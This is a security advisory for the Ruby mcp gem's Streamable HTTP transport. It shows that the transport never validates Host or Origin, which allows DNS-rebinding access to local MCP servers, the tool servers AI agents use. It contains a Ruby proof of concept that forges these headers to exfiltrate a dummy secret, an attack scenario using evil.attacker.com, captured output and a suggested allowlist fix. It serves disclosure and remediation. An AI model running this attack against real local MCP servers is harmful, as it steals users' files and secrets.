GHSA-rjr6-rcgv-9m7m: 
Model Context Protocol vulnerability analysis and mitigation

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0). The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error
  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error
  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"]. The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546) A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control). Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"
puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end
server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last
def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end
puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]
call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts
puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]
========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}
ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.
========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"
CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments. A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.